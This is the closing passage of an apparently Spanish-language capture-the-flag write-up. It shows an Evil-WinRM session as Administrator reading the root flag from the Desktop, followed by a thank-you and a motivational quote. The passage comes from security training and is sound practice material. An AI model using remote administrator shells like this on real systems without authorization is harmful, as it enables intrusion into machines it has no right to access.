Ya podremos ver la flag del sistema ubicada en el escritorio
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
fed...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
Wishes can be your best avenue of getting what you want when you turn wishes into action. Action moves your wish to the forefront from thought to reality. — Byron Pulsifer